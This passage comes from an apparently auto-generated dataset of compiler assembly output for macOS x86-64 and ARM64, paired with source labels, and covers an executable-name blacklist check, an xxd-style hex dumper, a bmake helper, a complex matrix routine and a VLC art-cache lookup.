%bb.2: sub x22, x8, #8 Lloh11: adrp x21, l_.str@PAGE Lloh12: add x21, x21, l_.str@PAGEOFF LBB0_3: ; =>This Inner Loop Header: Depth=1 mov x0, x20 bl _strcpy mov x0, x20 mov x1, x21 bl _strcat mov x0, x20 mov x1, x19 bl _strcmpi cbz x0, LBB0_5 ; %bb.4: ; in Loop: Header=BB0_3 Depth=1 ldr x1, [x22], #-8 cbnz x1, LBB0_3 LBB0_5: cmp x0, #0 cset w0, eq b LBB0_7 LBB0_6: mov w0, #0 ; =0x0 LBB0_7: ldur x8, [x29, #-40] Lloh13: adrp x9, ___stack_chk_guard@GOTPAGE Lloh14: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh15: ldr x9, [x9] cmp x9, x8 b.ne LBB0_9 ; %bb.8: sub sp, x29, #32 ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload ret LBB0_9: bl ___stack_chk_fail .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh8, Lloh9, Lloh10 .loh AdrpAdd Lloh11, Lloh12 .loh AdrpLdrGotLdr Lloh13, Lloh14, Lloh15 .loh AdrpLdrGot Lloh6, Lloh7 .cfi_endproc ; -- End function .comm _MAX_PATH,4,2 ; @MAX_PATH .comm _blacklisted_exes,8,3 ; @blacklisted_exes .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz ".exe" .no_dead_strip _is_blacklisted_exe .subsections_via_symbols

assembly_file_133077.c

assembly_dataset

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _xxd ## -- Begin function xxd .p2align 4, 0x90 _xxd: ## @xxd .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $456, %rsp ## imm = 0x1C8 .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdi, -472(%rbp) ## 8-byte Spill movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -48(%rbp) leaq -304(%rbp), %r12 leaq -432(%rbp), %r13 xorl %r14d, %r14d jmp LBB0_1 .p2align 4, 0x90 LBB0_10: ## in Loop: Header=BB0_1 Depth=1 cmpq $256, %rbx ## imm = 0x100 leaq -304(%rbp), %r12 jb LBB0_11 LBB0_1: ## =>This Loop Header: Depth=1 ## Child Loop BB0_3 Depth 2 ## Child Loop BB0_5 Depth 3 movl $1, %esi movl $256, %edx ## imm = 0x100 movq %r12, %rdi movq -472(%rbp), %rcx ## 8-byte Reload callq _fread testq %rax, %rax je LBB0_11 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 movq %rax, %rbx xorl %eax, %eax movq %rbx, -480(%rbp) ## 8-byte Spill jmp LBB0_3 .p2align 4, 0x90 LBB0_8: ## in Loop: Header=BB0_3 Depth=2 leaq (%r14,%rbp), %rcx addq $-464, %rcx ## imm = 0xFE30 leaq -464(%rbp), %rdx leaq -432(%rbp), %r13 movq -488(%rbp), %r14 ## 8-byte Reload LBB0_9: ## in Loop: Header=BB0_3 Depth=2 movb $0, (%rcx) leaq L_.str.4(%rip), %rdi movq %r13, %rsi xorl %eax, %eax callq _printf addq $16, %r14 movq -496(%rbp), %rax ## 8-byte Reload addq $16, %rax addq $16, %r12 movq -480(%rbp), %rbx ## 8-byte Reload cmpq %rax, %rbx jbe LBB0_10 LBB0_3: ## Parent Loop BB0_1 Depth=1 ## => This Loop Header: Depth=2 ## Child Loop BB0_5 Depth 3 movl $128, %edx movq %r13, %rdi xorl %esi, %esi leaq L_.str(%rip), %rcx movl %r14d, %r8d movq %rax, %r13 xorl %eax, %eax callq ___sprintf_chk movl %ebx, %r15d movq %r13, -496(%rbp) ## 8-byte Spill subl %r13d, %r15d leaq -432(%rbp), %r13 leaq -464(%rbp), %rdx movq %rdx, %rcx testl %r15d, %r15d jle LBB0_9 ## %bb.4: ## in Loop: Header=BB0_3 Depth=2 movq %r14, -488(%rbp) ## 8-byte Spill cmpl $16, %r15d movl $16, %ecx cmovgel %ecx, %r15d cltq leaq (%rax,%rbp), %r13 addq $-432, %r13 ## imm = 0xFE50 xorl %r14d, %r14d jmp LBB0_5 .p2align 4, 0x90 LBB0_7: ## in Loop: Header=BB0_5 Depth=3 movq %r13, %rdi leaq L_.str.2(%rip), %rsi movl %ebx, %edx xorl %eax, %eax callq _sprintf cltq addq %rax, %r13 leal -32(%rbx), %eax cmpb $95, %al movl $46, %eax cmovael %eax, %ebx movb %bl, -464(%rbp,%r14) movb $0, -463(%rbp,%r14) incq %r14 cmpq %r15, %r14 jae LBB0_8 LBB0_5: ## Parent Loop BB0_1 Depth=1 ## Parent Loop BB0_3 Depth=2 ## => This Inner Loop Header: Depth=3 movzbl (%r12,%r14), %ebx testb $1, %r14b jne LBB0_7 ## %bb.6: ## in Loop: Header=BB0_5 Depth=3 movw $32, (%r13) incq %r13 jmp LBB0_7 LBB0_11: movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax cmpq -48(%rbp), %rax jne LBB0_13 ## %bb.12: addq $456, %rsp ## imm = 0x1C8 popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_13: callq ___stack_chk_fail .cfi_endproc ## -- End function .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 cmpl $2, %edi jge LBB1_1 ## %bb.7: movq ___stdinp@GOTPCREL(%rip), %rax movq (%rax), %rdi callq _xxd xorl %eax, %eax jmp LBB1_6 LBB1_1: movq %rsi, %r15 movl %edi, %r13d movl $1, %r12d leaq L_.str.5(%rip), %r14 .p2align 4, 0x90 LBB1_2: ## =>This Inner Loop Header: Depth=1 movq (%r15,%r12,8), %rdi movq %r14, %rsi callq _fopen testq %rax, %rax je LBB1_5 ## %bb.3: ## in Loop: Header=BB1_2 Depth=1 movq %rax, %rbx movq %rax, %rdi callq _xxd movq %rbx, %rdi callq _fclose incq %r12 cmpq %r12, %r13 jne LBB1_2 ## %bb.4: xorl %eax, %eax jmp LBB1_6 LBB1_5: movq ___stderrp@GOTPCREL(%rip), %rax movq (%rax), %rdi movq (%r15,%r12,8), %rdx leaq L_.str.6(%rip), %rsi xorl %eax, %eax callq _fprintf movl $1, %eax LBB1_6: addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "%08x:" L_.str.2: ## @.str.2 .asciz "%02x" L_.str.4: ## @.str.4 .asciz "%-50s %s\n" L_.str.5: ## @.str.5 .asciz "rb" L_.str.6: ## @.str.6 .asciz "Cannot open file: %s\n" .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _xxd ; -- Begin function xxd .p2align 2 _xxd: ; @xxd .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-96]! ; 16-byte Folded Spill .cfi_def_cfa_offset 96 stp x26, x25, [sp, #16] ; 16-byte Folded Spill stp x24, x23, [sp, #32] ; 16-byte Folded Spill stp x22, x21, [sp, #48] ; 16-byte Folded Spill stp x20, x19, [sp, #64] ; 16-byte Folded Spill stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 sub sp, sp, #464 str x0, [sp, #16] ; 8-byte Folded Spill mov x25, #0 Lloh0: adrp x8, ___stack_chk_guard@GOTPAGE Lloh1: ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] Lloh2: ldr x8, [x8] stur x8, [x29, #-96] add x23, sp, #64 Lloh3: adrp x21, l_.str.2@PAGE Lloh4: add x21, x21, l_.str.2@PAGEOFF mov w19, #46 add x27, sp, #32 b LBB0_2 LBB0_1: ; in Loop: Header=BB0_2 Depth=1 cmp x24, #256 b.lo LBB0_12 LBB0_2: ; =>This Loop Header: Depth=1 ; Child Loop BB0_6 Depth 2 ; Child Loop BB0_9 Depth 3 add x0, sp, #192 mov w1, #1 mov w2, #256 ldr x3, [sp, #16] ; 8-byte Folded Reload bl _fread cbz x0, LBB0_12 ; %bb.3: ; in Loop: Header=BB0_2 Depth=1 mov x24, x0 mov x20, #0 add x22, sp, #192 str x0, [sp, #24] ; 8-byte Folded Spill b LBB0_6 LBB0_4: ; in Loop: Header=BB0_6 Depth=2 add x8, x27, x26 add x23, sp, #64 ldr x24, [sp, #24] ; 8-byte Folded Reload LBB0_5: ; in Loop: Header=BB0_6 Depth=2 strb wzr, [x8] stp x23, x27, [sp] Lloh5: adrp x0, l_.str.4@PAGE Lloh6: add x0, x0, l_.str.4@PAGEOFF bl _printf add x25, x25, #16 add x20, x20, #16 add x22, x22, #16 cmp x24, x20 b.ls LBB0_1 LBB0_6: ; Parent Loop BB0_2 Depth=1 ; => This Loop Header: Depth=2 ; Child Loop BB0_9 Depth 3 str x25, [sp] add x0, sp, #64 mov w1, #0 mov w2, #128 Lloh7: adrp x3, l_.str@PAGE Lloh8: add x3, x3, l_.str@PAGEOFF bl ___sprintf_chk sub w8, w24, w20 cmp w8, #1 b.lt LBB0_11 ; %bb.7: ; in Loop: Header=BB0_6 Depth=2 mov x26, #0 cmp w8, #16 mov w9, #16 csel w23, w8, w9, lt add x8, sp, #64 add x24, x8, w0, sxtw b LBB0_9 LBB0_8: ; in Loop: Header=BB0_9 Depth=3 str x28, [sp] mov x0, x24 mov x1, x21 bl _sprintf add x24, x24, w0, sxtw sub w8, w28, #32 cmp w8, #95 csel w8, w28, w19, lo add x9, x27, x26 strb w8, [x9] strb wzr, [x9, #1] add x26, x26, #1 cmp x26, x23 b.hs LBB0_4 LBB0_9: ; Parent Loop BB0_2 Depth=1 ; Parent Loop BB0_6 Depth=2 ; => This Inner Loop Header: Depth=3 ldrb w28, [x22, x26] tbnz w26, #0, LBB0_8 ; %bb.10: ; in Loop: Header=BB0_9 Depth=3 mov w8, #32 strh w8, [x24], #1 b LBB0_8 LBB0_11: ; in Loop: Header=BB0_6 Depth=2 add x8, sp, #32 b LBB0_5 LBB0_12: ldur x8, [x29, #-96] Lloh9: adrp x9, ___stack_chk_guard@GOTPAGE Lloh10: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh11: ldr x9, [x9] cmp x9, x8 b.ne LBB0_14 ; %bb.13: add sp, sp, #464 ldp x29, x30, [sp, #80] ; 16-byte Folded Reload ldp x20, x19, [sp, #64] ; 16-byte Folded Reload ldp x22, x21, [sp, #48] ; 16-byte Folded Reload ldp x24, x23, [sp, #32] ; 16-byte Folded Reload ldp x26, x25, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #96 ; 16-byte Folded Reload ret LBB0_14: bl ___stack_chk_fail .loh AdrpAdd Lloh3, Lloh4 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpAdd Lloh5, Lloh6 .loh AdrpAdd Lloh7, Lloh8 .loh AdrpLdrGotLdr Lloh9, Lloh10, Lloh11 .cfi_endproc ; -- End function .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 cmp w0, #2 b.ge LBB1_2 ; %bb.1: Lloh12: adrp x8, ___stdinp@GOTPAGE Lloh13: ldr x8, [x8, ___stdinp@GOTPAGEOFF] Lloh14: ldr x0, [x8] bl _xxd mov w0, #0 b LBB1_7 LBB1_2: mov w8, w0 add x21, x1, #8 sub x22, x8, #1 Lloh15: adrp x19, l_.str.5@PAGE Lloh16: add x19, x19, l_.str.5@PAGEOFF LBB1_3: ; =>This Inner Loop Header: Depth=1 ldr x0, [x21] mov x1, x19 bl _fopen cbz x0, LBB1_6 ; %bb.4: ; in Loop: Header=BB1_3 Depth=1 mov x20, x0 bl _xxd mov x0, x20 bl _fclose add x21, x21, #8 subs x22, x22, #1 b.ne LBB1_3 ; %bb.5: mov w0, #0 b LBB1_7 LBB1_6: Lloh17: adrp x8, ___stderrp@GOTPAGE Lloh18: ldr x8, [x8, ___stderrp@GOTPAGEOFF] Lloh19: ldr x0, [x8] ldr x8, [x21] str x8, [sp] Lloh20: adrp x1, l_.str.6@PAGE Lloh21: add x1, x1, l_.str.6@PAGEOFF bl _fprintf mov w0, #1 LBB1_7: ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload add sp, sp, #64 ret .loh AdrpLdrGotLdr Lloh12, Lloh13, Lloh14 .loh AdrpAdd Lloh15, Lloh16 .loh AdrpAdd Lloh20, Lloh21 .loh AdrpLdrGotLdr Lloh17, Lloh18, Lloh19 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "%08x:" l_.str.2: ; @.str.2 .asciz "%02x" l_.str.4: ; @.str.4 .asciz "%-50s %s\n" l_.str.5: ; @.str.5 .asciz "rb" l_.str.6: ; @.str.6 .asciz "Cannot open file: %s\n" .subsections_via_symbols

the_stack_data/39159.c

stack

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function watchfd _watchfd: ## @watchfd .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %rbx pushq %rax .cfi_offset %rbx, -24 movq %rdi, %rbx cmpq $0, (%rdi) je LBB0_2 ## %bb.1: leaq L_.str(%rip), %rdi callq _Punt LBB0_2: movl 8(%rbx), %eax movq _fds@GOTPCREL(%rip), %rcx movq (%rcx), %rdx movq _nfds@GOTPCREL(%rip), %r8 movq (%r8), %rdi leaq (,%rdi,8), %rsi movl %eax, 4(%rdx,%rdi,8) movq _POLLIN@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, (%rdx,%rdi,8) movq _jobfds@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rbx, (%rax,%rdi,8) addq (%rcx), %rsi movq %rsi, (%rbx) incq %rdi movq %rdi, (%r8) addq $8, %rsp popq %rbx popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "Watching watched job" .comm _fds,8,3 ## @fds .comm _nfds,8,3 ## @nfds .comm _POLLIN,4,2 ## @POLLIN .comm _jobfds,8,3 ## @jobfds .no_dead_strip _watchfd .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function watchfd _watchfd: ; @watchfd .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov x19, x0 ldr x8, [x0] cbz x8, LBB0_2 ; %bb.1: Lloh0: adrp x0, l_.str@PAGE Lloh1: add x0, x0, l_.str@PAGEOFF bl _Punt LBB0_2: ldr w8, [x19, #8] Lloh2: adrp x9, _fds@GOTPAGE Lloh3: ldr x9, [x9, _fds@GOTPAGEOFF] ldr x10, [x9] Lloh4: adrp x11, _nfds@GOTPAGE Lloh5: ldr x11, [x11, _nfds@GOTPAGEOFF] ldr x12, [x11] lsl x13, x12, #3 add x10, x10, x13 str w8, [x10, #4] Lloh6: adrp x8, _jobfds@GOTPAGE Lloh7: ldr x8, [x8, _jobfds@GOTPAGEOFF] Lloh8: ldr x8, [x8] str x19, [x8, x13] Lloh9: adrp x8, _POLLIN@GOTPAGE Lloh10: ldr x8, [x8, _POLLIN@GOTPAGEOFF] Lloh11: ldr w8, [x8] str w8, [x10] ldr x8, [x9] add x8, x8, x13 str x8, [x19] add x8, x12, #1 str x8, [x11] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload ret .loh AdrpAdd Lloh0, Lloh1 .loh AdrpLdrGotLdr Lloh9, Lloh10, Lloh11 .loh AdrpLdrGotLdr Lloh6, Lloh7, Lloh8 .loh AdrpLdrGot Lloh4, Lloh5 .loh AdrpLdrGot Lloh2, Lloh3 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "Watching watched job" .comm _fds,8,3 ; @fds .comm _nfds,8,3 ; @nfds .comm _POLLIN,4,2 ; @POLLIN .comm _jobfds,8,3 ; @jobfds .no_dead_strip _watchfd .subsections_via_symbols

AnghaBench/freebsd/contrib/bmake/extr_job.c_watchfd.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _cmat_vec_dble ## -- Begin function cmat_vec_dble .p2align 4, 0x90 _cmat_vec_dble: ## @cmat_vec_dble .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $24, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 testl %edi, %edi jle LBB0_8 ## %bb.1: movq %rdx, %r15 movq %rsi, %rbx movl %edi, %edx movq %rdx, %r13 shlq $4, %r13 xorl %esi, %esi xorps %xmm7, %xmm7 jmp LBB0_2 .p2align 4, 0x90 LBB0_7: ## in Loop: Header=BB0_2 Depth=1 incq %rsi addq %r13, %rbx cmpq %rdx, %rsi je LBB0_8 LBB0_2: ## =>This Loop Header: Depth=1 ## Child Loop BB0_3 Depth 2 movq %rsi, %rax shlq $4, %rax leaq (%rcx,%rax), %r14 movups %xmm7, (%rcx,%rax) xorl %r12d, %r12d xorpd %xmm5, %xmm5 .p2align 4, 0x90 LBB0_3: ## Parent Loop BB0_2 Depth=1 ## => This Inner Loop Header: Depth=2 movq (%r15), %rax movsd (%rax,%r12), %xmm2 ## xmm2 = mem[0],zero movsd 8(%rax,%r12), %xmm3 ## xmm3 = mem[0],zero movupd (%rbx,%r12), %xmm0 movddup %xmm3, %xmm1 ## xmm1 = xmm3[0,0] movapd %xmm0, %xmm4 shufpd $1, %xmm0, %xmm4 ## xmm4 = xmm4[1],xmm0[0] mulpd %xmm1, %xmm4 movddup %xmm2, %xmm1 ## xmm1 = xmm2[0,0] mulpd %xmm0, %xmm1 movapd %xmm1, %xmm6 subpd %xmm4, %xmm6 addpd %xmm4, %xmm1 movapd %xmm1, %xmm4 blendpd $1, %xmm6, %xmm4 ## xmm4 = xmm6[0],xmm4[1] ucomisd %xmm6, %xmm6 jp LBB0_4 LBB0_6: ## in Loop: Header=BB0_3 Depth=2 addpd %xmm4, %xmm5 movupd %xmm5, (%r14) addq $16, %r12 cmpq %r12, %r13 jne LBB0_3 jmp LBB0_7 LBB0_4: ## in Loop: Header=BB0_3 Depth=2 unpckhpd %xmm1, %xmm1 ## xmm1 = xmm1[1,1] ucomisd %xmm1, %xmm1 jnp LBB0_6 ## %bb.5: ## in Loop: Header=BB0_3 Depth=2 movapd %xmm0, %xmm1 unpckhpd %xmm0, %xmm1 ## xmm1 = xmm1[1],xmm0[1] movq %rcx, -64(%rbp) ## 8-byte Spill movq %rdx, -56(%rbp) ## 8-byte Spill movq %rsi, -48(%rbp) ## 8-byte Spill callq ___muldc3 xorps %xmm7, %xmm7 movq -48(%rbp), %rsi ## 8-byte Reload movq -56(%rbp), %rdx ## 8-byte Reload movq -64(%rbp), %rcx ## 8-byte Reload movapd %xmm0, %xmm4 movupd (%r14), %xmm5 unpcklpd %xmm1, %xmm4 ## xmm4 = xmm4[0],xmm1[0] jmp LBB0_6 LBB0_8: addq $24, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _cmat_vec_dble ; -- Begin function cmat_vec_dble .p2align 2 _cmat_vec_dble: ; @cmat_vec_dble .cfi_startproc ; %bb.0: sub sp, sp, #96 .cfi_def_cfa_offset 96 stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 cmp w0, #1 b.lt LBB0_7 ; %bb.1: mov x8, #0 mov w9, w0 lsl x10, x9, #4 b LBB0_3 LBB0_2: ; in Loop: Header=BB0_3 Depth=1 add x8, x8, #1 add x1, x1, x10 cmp x8, x9 b.eq LBB0_7 LBB0_3: ; =>This Loop Header: Depth=1 ; Child Loop BB0_4 Depth 2 mov x11, #0 add x12, x3, x8, lsl #4 mov x13, x12 str xzr, [x13, #8]! str xzr, [x12] movi d6, #0000000000000000 movi d7, #0000000000000000 LBB0_4: ; Parent Loop BB0_3 Depth=1 ; => This Inner Loop Header: Depth=2 add x14, x1, x11 ldp d4, d5, [x14] ldr x14, [x2] add x14, x14, x11 ldp d2, d3, [x14] fmul d0, d4, d2 fmul d1, d5, d3 fmul d16, d4, d3 fmul d17, d5, d2 fsub d0, d0, d1 fadd d1, d17, d16 fcmp d0, d0 fccmp d1, d1, #0, vs b.vs LBB0_6 LBB0_5: ; in Loop: Header=BB0_4 Depth=2 fadd d7, d0, d7 fadd d6, d1, d6 str d7, [x12] str d6, [x13] add x11, x11, #16 cmp x10, x11 b.ne LBB0_4 b LBB0_2 LBB0_6: ; in Loop: Header=BB0_4 Depth=2 fmov d0, d4 fmov d1, d5 stur x3, [x29, #-8] ; 8-byte Folded Spill str x2, [sp, #32] ; 8-byte Folded Spill stur x1, [x29, #-16] ; 8-byte Folded Spill str x8, [sp, #24] ; 8-byte Folded Spill stur x9, [x29, #-24] ; 8-byte Folded Spill str x10, [sp, #16] ; 8-byte Folded Spill stur x11, [x29, #-32] ; 8-byte Folded Spill str x12, [sp, #8] ; 8-byte Folded Spill str x13, [sp, #40] ; 8-byte Folded Spill bl ___muldc3 ldp x2, x13, [sp, #32] ; 16-byte Folded Reload ldp x12, x10, [sp, #8] ; 16-byte Folded Reload ldp x11, x9, [x29, #-32] ; 16-byte Folded Reload ldr x8, [sp, #24] ; 8-byte Folded Reload ldp x1, x3, [x29, #-16] ; 16-byte Folded Reload ldr d7, [x12] ldr d6, [x13] b LBB0_5 LBB0_7: ldp x29, x30, [sp, #80] ; 16-byte Folded Reload add sp, sp, #96 ret .cfi_endproc ; -- End function .subsections_via_symbols

the_stack_data/211690.c

stack

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _input_FindArtInCacheUsingItemUID ## -- Begin function input_FindArtInCacheUsingItemUID .p2align 4, 0x90 _input_FindArtInCacheUsingItemUID: ## @input_FindArtInCacheUsingItemUID .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $2072, %rsp ## imm = 0x818 .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdi, %r14 movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -48(%rbp) leaq L_.str(%rip), %rsi leaq L_.str.1(%rip), %rdx callq _input_item_GetInfo movq %rax, %r13 cmpb $0, (%rax) je LBB0_2 ## %bb.1: movq %r13, %rdi callq _GetDirByItemUIDs movq %rax, %rbx leaq L_.str.2(%rip), %rsi movq %rax, %rdi callq _GetFileByItemUID movq %rax, %r15 movq %rbx, %rdi callq _free testq %r15, %r15 je LBB0_2 ## %bb.4: leaq L_.str.3(%rip), %rsi movq %r15, %rdi callq _vlc_fopen testq %rax, %rax je LBB0_5 ## %bb.6: movq %rax, %r12 leaq -2112(%rbp), %rdi movl $2048, %esi ## imm = 0x800 movq %rax, %rdx callq _fgets testq %rax, %rax je LBB0_7 ## %bb.8: leaq -2112(%rbp), %rsi movq %r14, %rdi callq _input_item_SetArtURL movl $1, %ebx jmp LBB0_9 LBB0_2: movq %r13, %rdi callq _free LBB0_3: movq _VLC_EGENERIC@GOTPCREL(%rip), %rax jmp LBB0_12 LBB0_5: xorl %ebx, %ebx jmp LBB0_10 LBB0_7: xorl %ebx, %ebx LBB0_9: movq %r12, %rdi callq _fclose LBB0_10: movq %r15, %rdi callq _free movq %r13, %rdi callq _free testl %ebx, %ebx je LBB0_3 ## %bb.11: movq _VLC_SUCCESS@GOTPCREL(%rip), %rax LBB0_12: movl (%rax), %eax movq ___stack_chk_guard@GOTPCREL(%rip), %rcx movq (%rcx), %rcx cmpq -48(%rbp), %rcx jne LBB0_14 ## %bb.13: addq $2072, %rsp ## imm = 0x818 popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_14: callq ___stack_chk_fail .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "uid" L_.str.1: ## @.str.1 .asciz "md5" .comm _VLC_EGENERIC,4,2 ## @VLC_EGENERIC L_.str.2: ## @.str.2 .asciz "arturl" L_.str.3: ## @.str.3 .asciz "rb" .comm _VLC_SUCCESS,4,2 ## @VLC_SUCCESS .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _input_FindArtInCacheUsingItemUID ; -- Begin function input_FindArtInCacheUsingItemUID .p2align 2 _input_FindArtInCacheUsingItemUID: ; @input_FindArtInCacheUsingItemUID .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-64]! ; 16-byte Folded Spill .cfi_def_cfa_offset 64 stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w27, -56 .cfi_offset w28, -64 sub sp, sp, #2064 mov x20, x0 Lloh0: adrp x8, ___stack_chk_guard@GOTPAGE Lloh1: ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] Lloh2: ldr x8, [x8] stur x8, [x29, #-56] Lloh3: adrp x1, l_.str@PAGE Lloh4: add x1, x1, l_.str@PAGEOFF Lloh5: adrp x2, l_.str.1@PAGE Lloh6: add x2, x2, l_.str.1@PAGEOFF bl _input_item_GetInfo mov x19, x0 ldrb w8, [x0] cbz w8, LBB0_5 ; %bb.1: mov x0, x19 bl _GetDirByItemUIDs mov x22, x0 Lloh7: adrp x1, l_.str.2@PAGE Lloh8: add x1, x1, l_.str.2@PAGEOFF bl _GetFileByItemUID mov x21, x0 mov x0, x22 bl _free cbz x21, LBB0_5 ; %bb.2: Lloh9: adrp x1, l_.str.3@PAGE Lloh10: add x1, x1, l_.str.3@PAGEOFF mov x0, x21 bl _vlc_fopen cbz x0, LBB0_7 ; %bb.3: mov x22, x0 add x0, sp, #7 mov w1, #2048 mov x2, x22 bl _fgets cbz x0, LBB0_8 ; %bb.4: add x1, sp, #7 mov x0, x20 bl _input_item_SetArtURL mov w20, #1 b LBB0_9 LBB0_5: mov x0, x19 bl _free LBB0_6: Lloh11: adrp x8, _VLC_EGENERIC@GOTPAGE Lloh12: ldr x8, [x8, _VLC_EGENERIC@GOTPAGEOFF] b LBB0_12 LBB0_7: mov w20, #0 b LBB0_10 LBB0_8: mov w20, #0 LBB0_9: mov x0, x22 bl _fclose LBB0_10: mov x0, x21 bl _free mov x0, x19 bl _free cbz w20, LBB0_6 ; %bb.11: Lloh13: adrp x8, _VLC_SUCCESS@GOTPAGE Lloh14: ldr x8, [x8, _VLC_SUCCESS@GOTPAGEOFF] LBB0_12: ldr w0, [x8] ldur x8, [x29, #-56] Lloh15: adrp x9, ___stack_chk_guard@GOTPAGE Lloh16: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh17: ldr x9, [x9] cmp x9, x8 b.ne LBB0_14 ; %bb.13: add 